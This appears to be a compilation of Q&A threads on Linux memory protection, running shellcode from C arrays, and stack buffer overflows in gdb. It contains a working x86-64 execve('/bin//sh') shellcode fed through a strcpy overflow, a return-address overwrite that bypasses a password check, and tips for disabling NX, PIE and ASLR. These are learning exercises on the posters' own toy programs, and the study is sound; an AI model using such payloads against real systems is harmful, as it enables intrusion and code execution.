To check whether I can change code at run time or not, I wrote a small piece of code(below) in linux.
int add(int a, int b)
{
printf("reached inside the function");
return a+b;
}
int main()
{
int x=10;
int y = 20;
int * p;
int z;
int (*fp) (int , int);
fp = add;
p = (int *)fp;
*(p+0) = 0;
z = add(x,y);
}
As there is no issue from c coding point of view, compiler compiles is perfectly and link also happens. But at run time it fails with below error:
Segmentation fault (core dumped)
Above error is perfect, because code segment is not supposed to be changed at run time, But I want to know how it is controlled at run time.
To know more about the code area restrictions, I ran readelf on the output file and result shows below in section headers:
[13] .text PROGBITS 08048330 000330 0001cc 00 AX 0 0 16
where section header flag shows as "AX" , means this section is just allocatable and executable. It does not support writing ("W").
and with a small change in the elf file I was able to modify the flag of this section as "WAX" , as below:
[13] .text PROGBITS 08048330 000330 0001cc 00 WAX 0 0 16
But still I get the same "segmentation fault" error.
I want to know - how is it achieved by the system?
The system is ignoring the W flag here:
$ gcc -Wall file.c
$ readelf -S a.out | grep .text
[14] .text PROGBITS 08048330 000330 0001cc 00 AX 0 0 16
$ objcopy a.out --set-section-flags .text=alloc,code,data a.out
$ readelf -S a.out | grep .text
[14] .text PROGBITS 08048330 000330 0001cc 00 WAX 0 0 16
$ gdb -q a.out
Reading symbols from a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: a.out
Program received signal SIGSEGV, Segmentation fault.
0x0804842f in main ()
(gdb) x/i 0x0804842f
0x804842f <main+45>: movl $0x0,(%eax)
(gdb)
You still cannot write to p. You can change the memory page protection at runtime using mprotect:
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/mman.h>
int add(int a, int b)
{
printf("reached inside the function");
return a+b;
}
int main()
{
int x=10;
int y = 20;
int * p;
int z;
int (*fp) (int , int);
long pagesize;
fp = add;
p = (int *)fp;
pagesize = sysconf(_SC_PAGESIZE);
if(mprotect((void *)((uintptr_t)p & ~((uintptr_t)pagesize - 1)), pagesize, PROT_READ | PROT_WRITE | PROT_EXEC) == -1)
perror("Error mprotect()");
*(p+0) = 0;
z = add(x,y);
return 0;
}
this will leave you with the bad instruction to fix:
$ gcc -Wall file.c
$ ./a.out
Segmentation fault
$ gdb -q a.out
Reading symbols from a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: a.out
Program received signal SIGSEGV, Segmentation fault.
0x08048484 in add ()
(gdb) x/i 0x08048484
0x8048484 <add>: add %al,(%eax)
(gdb)
Does the segmentation fault happen at the same place?
It could be that the OS ignores the W flag, but I don't think that's the case here. Assuming the OS honours the flag, the following is relevant.
You are overwriting the first instruction of the add function with 0, which in x86 assembly is (assuming 4 bytes int here)
00000000 0000 add [bx+si],al
00000002 0000 add [bx+si],al
This most likely ends up accessing invalid memory, at bx+si.
Related
I am exploring shellcode. I wrote an example program as part of my exploration.
Using objdump, I got the following shellcode:
\xb8\x0a\x00\x00\x00\xc
for the simple function:
int boo()
{
return(10);
}
I then wrote the following program to attempt to run the shellcode:
#include <stdio.h>
#include <stdlib.h>
unsigned char code[] = "\xb8\x0a\x00\x00\x00\xc3";
int main(int argc, char **argv) {
int foo_value = 0;
int (*foo)() = (int(*)())code;
foo_value = foo();
printf("%d\n", foo_value);
}
I am compiling using gcc, with the options:
-fno-stack-protector -z execstack
However, when I attempt to run, I still get a segfault.
What am I messing up?
You're almost there!
You have placed your code[] outside of main, it's a global array. Global variables are not placed on the stack. They can be placed:
In the BSS section if there are not initialized
In the data section if there are initialized and access in both
read/write
In the rodata section if there are only accessed in read
Let's verify this You can use readelf command to check all the sections of your binary (I only show the ones we are interested in):
$ readelf -S --wide <your binary>
There are 31 section headers, starting at offset 0x39c0:
Section Headers:
[Nr] Name Type Address Off Size ES Flg Lk Inf Al
[...]
[16] .text PROGBITS 0000000000001060 001060 0001a5 00 AX 0 0 16
[...]
[18] .rodata PROGBITS 0000000000002000 002000 000008 00
[...]
[25] .data PROGBITS 0000000000004000 003000 000017 00 WA 0 0 8
[...]
[26] .bss NOBITS 0000000000004017 003017 000001 00 WA 0 0 1
Then we can look for your symbol code in your binary:
$ readelf -s <your binary> | grep code
66: 0000000000004010 7 OBJECT GLOBAL DEFAULT 25 code
This confirms that your variable/array code is in .data section, which doesn't present the X flag, so you cannot execute code from it.
From there, the solution is obvious, place your array in your main function:
int main(int argc, char **argv) {
uint8_t code[] = "\xb8\x0a\x00\x00\x00\xc3";
int foo_value = 0;
int (*foo)() = (int(*)())code;
foo_value = foo();
printf("%d\n", foo_value);
}
However, this may also not work!
Your C compiler may find that yes, you are using code, but never reading from it anything, so it will optimize it and simply allocate it on the stack without initializing it. This is what happens with my version of GCC.
To force the compiler to not optimize the array, use volatile keyword.
int main(int argc, char **argv) {
volatile uint8_t code[] = "\xb8\x0a\x00\x00\x00\xc3";
int foo_value = 0;
int (*foo)() = (int(*)())code;
foo_value = foo();
printf("%d\n", foo_value);
}
In a real use-case, your array would be allocated on the stack and sent as a parameter to another function which itself would modify the array content with shellcode. So you wouldn't encounter such compiler optimization issue.
I'm trying to learn buffer overflow but I found myself in dead end. When I want to execute shellcode gdb just stuck and dont react to anything (Ctrl-C, Ctrl-D, Enter, Esc) and I have to close terminal and run everything again. I have this vulnerable program running on Linux 64 bit:
int main(int argc, char **argv) {
char buffer[256];
if (argc != 2) {
exit(0);
}
printf("%p\n", buffer);
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
return 0;
}
In gdb:
$ gcc vuln.c -o vuln -g -z execstack -fno-stack-protector
$ sudo gdb -q vuln
(gdb) list
1 #include <stdio.h>
2 #include <string.h>
3 #include <stdlib.h>
4
5 int main(int argc, char **argv) {
6 char buffer[256];
7 if (argc != 2) {
8 exit(0);
9 }
10 printf("%p\n", buffer);
(gdb) break 5
Breakpoint 1 at 0x4005de: file vuln.c, line 5.
(gdb) run $(python3 -c 'print("A" * 264 + "B" * 6)')
Starting program: /home/vladimir/workspace/hacking/vuln $(python3 -c 'print("A" * 264 + "B" * 6)')
Breakpoint 1, main (argc=2, argv=0x7fffffffe378) at vuln.c:7
7 if (argc != 2) {
(gdb) cont
Continuing.
0x7fffffffe190
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB
Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()
(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0x7ffff7b01ef4 140737348902644
rdx 0x7ffff7dd28c0 140737351854272
rsi 0x602260 6300256
rdi 0x0 0
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffffffe2a0 0x7fffffffe2a0
r8 0xfffffffffffffff0 -16
r9 0xffffffffffffff00 -256
r10 0x60236e 6300526
r11 0x246 582
r12 0x4004e0 4195552
r13 0x7fffffffe370 140737488348016
r14 0x0 0
r15 0x0 0
rip 0x424242424242 0x424242424242
(gdb) run $(python3 -c 'print("\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05" + "\x90" * 233 + "\x90\xe1\xff\xff\xff\x7f")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/vladimir/workspace/hacking/vuln $(python3 -c 'print("\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05" + "\x90" * 233 + "\x90\xe1\xff\xff\xff\x7f")')
Breakpoint 1, main (argc=2, argv=0x7fffffffe288) at vuln.c:7
7 if (argc != 2) {
(gdb) cont
Continuing.
0x7fffffffe0a0
After address there is also printed some garbage and as said gdb get stucked. Even if I run program in the same session of gdb, with these two different inputs, the address of buffer somehow changes and I cant think of why. Can someone tell me why gdb stuck and why address is changing? What am I doing wrong?
Each time you run your compiled program, gdb will call the the linker to allocate some space for buffer. There's no guarantee that it will be in the same space each time, and gdb might deliberately put it somewhere else to keep different runs separate.
What you're doing with the C program here is causing an error which is trapped by the operating system and cleaned up. There's a huge gap between causing a simple buffer overflow and being able to use that to run shell commands. You have code to do the first bit, but you need a lot more insight to do the second bit.
If you really want to do this sort of thing, you're going to have to do a fair bit more reading to understand what's going on, and what you might be able to do.
The address changes because the stack pointer upon entering main depends on the total length of the command line arguments. The two python snippets generate data of different lengths.
I try to use a buffer overflow on the stack to
redirect the return address. My goal is to overwrite the return address within the "check_auth" function, that the main continues at line 22 ("printf("GRANTED\n");"). Here is the C code:
fugi#calc:~/Desktop$ gcc -g auth_overflow.c -o auth_overflow
fugi#calc:~/Desktop$ gdb auth_overflow -q
Reading symbols from auth_overflow...done.
(gdb) list 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 int check_auth(char *pass){
6 char pass_buff[16];
7 int auth_flag = 0;
8 strcpy(pass_buff, pass);
9
10 if(strcmp(pass_buff, "yes") == 0)
(gdb)
11 auth_flag = 1;
12 return auth_flag;
13 }
14
15 int main( int argc, char *argv[]){
16 if(argc < 2){
17 printf("Usage: %s <password>\n\n", argv[0]);
18 exit(0);
19 }
20 if(check_auth(argv[1])){
(gdb)
21 printf("ACCESS\n");
22 printf("GRANTED\n");
23 }
24 else{
25 printf("\n Access Denied\n");
26 }
27 return 0;
28 }
I am using gdb on a 64bit Debian system, to debug the code.
My problem is, the overwriting doesn't work outside of gdb.
I know, that the return address in which points back to main and the the beginning of the input variable(pass_buff) are 40 bytes appart.
(gdb) i f
Stack level 0, frame at 0x7fffffffe170:
rip = 0x55555555477d in check_auth (auth_overflow.c:8); saved rip = 0x555555554800
called by frame at 0x7fffffffe190
source language c.
Arglist at 0x7fffffffe160, args: pass=0x7fffffffe562 'A' <repeats 56 times>
Locals at 0x7fffffffe160, Previous frame's sp is 0x7fffffffe170
Saved registers:
rbp at 0x7fffffffe160, rip at 0x7fffffffe168
(gdb) x/x *0x7fffffffe168
0x55554800: Cannot access memory at address 0x55554800
(gdb) x/x pass_buff
0x7fffffffe140: 0x00000001
(gdb) p 0x7fffffffe168 - 0x7fffffffe140
$1 = 40
So, when I do this:
(gdb) run `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55")'`
Starting program: /home/fugi/Desktop/auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55")'`
GRANTED
Program received signal SIGBUS, Bus error.
main (argc=<error reading variable: Cannot access memory at address 0x414141414141413d>,
argv=<error reading variable: Cannot access memory at address 0x4141414141414131>) at auth_overflow.c:28
28 }
But when I do it without gdb it doesn't work:
fugi#calc:~/Desktop$ ./auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55")'`
Segmentation fault
What can I do to make this work?
I also tried to do this by repeating the address, but the problem here is, that I can't print null bytes:
(gdb) x/12xg $rsp
0x7fffffffe130: 0x00007fffffffe156 0x00007fffffffe56c
0x7fffffffe140: 0x4141414141414141 0x4141414141414141
0x7fffffffe150: 0x4141414141414141 0x4141414141414141
0x7fffffffe160: 0x4141414141414141 **0x0000555555554810**
0x7fffffffe170: 0x00007fffffffe268 0x0000000200000000
0x7fffffffe180: 0x0000555555554840 0x00007ffff7a57561
to make the address fit I need to add \x00\x00 but then I get:
fugi#calc:~/Desktop$ ./auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55\x00\x00")'`
**bash: warning: command substitution: ignored null byte in input**
Segmentation fault
Is there a way to repeat the address like this?
Thanks for you help in advance
I don't know about exact build settings in your development environment, but I can guess some problems.
on current Linux environment, PIE (Position-Independent-Executive) is enabled. which means, your target address is not always 0x0000555555554810. to check that, add this code to main function :
printf("CODE: %p\n", (void*)main);
if this code generates same address every times, then PIE is disabled.
argv argument cannot include NULL byte (except end of string). but this is not a critical problem because on x86-64 system they uses only 6 low bytes for virtual address.
to disable PIE build : use -no-pie. gcc main.c -o main -no-pie
If you're asking how to return check_auth(), I'd do this:
int main( int argc, char *argv[]){
if(argc < 2){
printf("Usage: %s <password>\n\n", argv[0]);
exit(0);
}
int flag = check_auth(argv[1]);
if(flag){
printf("ACCESS\n");
printf("GRANTED\n");
}else{
printf("\n Access Denied\n");
}
return flag;
}
My main language is Java, actually, so if I'm wrong, please correct me. I'm trying to learn C as we speak.
Take the following test program (compiled with clang 3.4 and run under gdb 7.6.1):
#include <limits.h>
#include <stdio.h>
int main(void)
{
int a = INT_MAX + 1;
int b = INT_MAX + 2;
printf("Result: a = %d, b = %d\n", a, b);
}
I would like to be able to use gdb to automatically stop at the second occurrence of undefined behaviour here (int b = ...).
If I compile with:
clang -fsanitize=undefined -O0 -ggdb3 -o test test.c
...then running the program under gdb just results in it running to completion:
test.c:6:21: runtime error: signed integer overflow: 2147483647 + 1 cannot be represented in type 'int'
test.c:7:21: runtime error: signed integer overflow: 2147483647 + 2 cannot be represented in type 'int'
Result: a = -2147483648, b = -2147483647
[Inferior 1 (process 24185) exited normally]
But if I use:
clang -fsanitize=undefined-trap -fsanitize-undefined-trap-on-error -O0 -ggdb3 -o test test.c
...then I can't continue past the first occurrence:
Program received signal SIGILL, Illegal instruction.
0x0000000000400556 in main () at test.c:6
6 int a = INT_MAX + 1;
(gdb) c
Continuing.
Program terminated with signal SIGILL, Illegal instruction.
The program no longer exists.
Is it possible to get gdb to break when (and only when) undefined behaviour is flagged, but to let the program continue otherwise? I'm after a technique that will work not just on this example, but in general, where the offending line might be inside a loop, the values may be determined at runtime, etc.
On x86-64 the instruction that causes SIGILL and stops a program is ud2 (http://asm.inightmare.org/opcodelst/index.php?op=UD2). In order to archive your goal you can change in gdb handling of SIGILL and use jumping (you need to add 2 to $pc on x86_64):
This is how the instruction ud2 is placed in the code of your test program on x86_64:
0x00000000004004f0 <+32>: 0f 85 02 00 00 00 jne 0x4004f8 <main+40>
=> 0x00000000004004f6 <+38>: 0f 0b ud2
0x00000000004004f8 <+40>: b8 ff ff ff 7f mov $0x7fffffff,%eax
These are gdb commands that is necessary to use:
handle SIGILL stop print nopass
set $pc = $pc + 2
This is an example for your test program:
$ gdb -q ./test
Reading symbols from /home/test...done.
(gdb) handle SIGILL stop print nopass
Signal Stop Print Pass to program Description
SIGILL Yes Yes No Illegal instruction
(gdb) r
Starting program: /home/test
Program received signal SIGILL, Illegal instruction.
0x00000000004004f6 in main () at test.c:6
6 int a = INT_MAX + 1;
(gdb) set $pc = $pc + 2
(gdb) c
Continuing.
Program received signal SIGILL, Illegal instruction.
0x000000000040051f in main () at test.c:7
7 int b = INT_MAX + 2;
(gdb) set $pc = $pc + 2
(gdb) c
Continuing.
Result: a = -2147483648, b = -2147483647
[Inferior 1 (process 7898) exited normally]
(gdb)
Useful links:
http://sourceware.org/gdb/current/onlinedocs/gdb/Jumping.html#Jumping
http://sourceware.org/gdb/current/onlinedocs/gdb/Signals.html#Signals
I'm trying to execute this simple opcode for exit(0) call by overwriting the return address of main.
The problem is I'm getting segmentation fault.
#include <stdio.h>
char shellcode[]= "/0xbb/0x14/0x00/0x00/0x00"
"/0xb8/0x01/0x00/0x00/0x00"
"/0xcd/0x80";
void main()
{
int *ret;
ret = (int *)&ret + 2; // +2 to get to the return address on the stack
(*ret) = (int)shellcode;
}
Execution result in Segmentation error.
[user1#fedo BOF]$ gcc -o ExitShellCode ExitShellCode.c
[user1#fedo BOF]$ ./ExitShellCode
Segmentation fault (core dumped)
This is the Objdump of the shellcode.a
[user1#fedo BOF]$ objdump -d exitShellcodeaAss
exitShellcodeaAss: file format elf32-i386
Disassembly of section .text:
08048054 <_start>:
8048054: bb 14 00 00 00 mov $0x14,%ebx
8048059: b8 01 00 00 00 mov $0x1,%eax
804805e: cd 80 int $0x80
System I'm using
fedora Linux 3.1.2-1.fc16.i686
ASLR is disabled.
Debugging with GDB.
gcc version 4.6.2
mmm maybe it is to late to answer to this question, but they might be a passive syntax error. It seems like thet shellcode is malformed, I mean:
char shellcode[]= "/0xbb/0x14/0x00/0x00/0x00"
"/0xb8/0x01/0x00/0x00/0x00"
"/0xcd/0x80";
its not the same as:
char shellcode[]= "\xbb\x14\x00\x00\x00"
"\xb8\x01\x00\x00\x00"
"\xcd\x80";
although this fix won't help you solving this problem, but have you tried disabling some kernel protection mechanism like: NX bit, Stack Randomization, etc... ?
Based on two other questions, namely How to determine return address on stack? and C: return address of function (mac), i'm confident that you are not overwriting the correct address. This is basically caused due to your assumption, that the return address can be determined in the way you did it. But as the answer to thefirst question (1) states, this must not be the case.
Therefore:
Check if the address is really correct
Find a way for determining the correct return address, if you do not want to use the builtin GCC feature
You can also execute shellcode like in this scenario, by casting the buffer to a function like
(*(int(*)()) shellcode)();
If you want the shellcode be executed in the stack you must compile without NX (stack protector) and with correct permissions.
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
E.g.
#include <stdio.h>
#include <string.h>
const char code[] ="\xbb\x14\x00\x00\x00"
"\xb8\x01\x00\x00\x00"
"\xcd\x80";
int main()
{
printf("Length: %d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}
If you want to debug it with gdb:
[manu#debian /tmp]$ gdb ./shellcode
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
...
Reading symbols from ./shellcode...(no debugging symbols found)...done.
(gdb) b *&code
Breakpoint 1 at 0x4005c4
(gdb) r
Starting program: /tmp/shellcode
Length: 2 bytes
Breakpoint 1, 0x00000000004005c4 in code ()
(gdb) disassemble
Dump of assembler code for function code:
=> 0x00000000004005c4 <+0>: mov $0x14,%ebx
0x00000000004005c9 <+5>: mov $0x1,%eax
0x00000000004005ce <+10>: int $0x80
0x00000000004005d0 <+12>: add %cl,0x6e(%rbp,%riz,2)
End of assembler dump.
In this proof of concept example is not important the null bytes. But when you are developing shellcodes you should keep in mind and remove the bad characters.
Shellcode cannot have Zeros on it. Remove the null characters.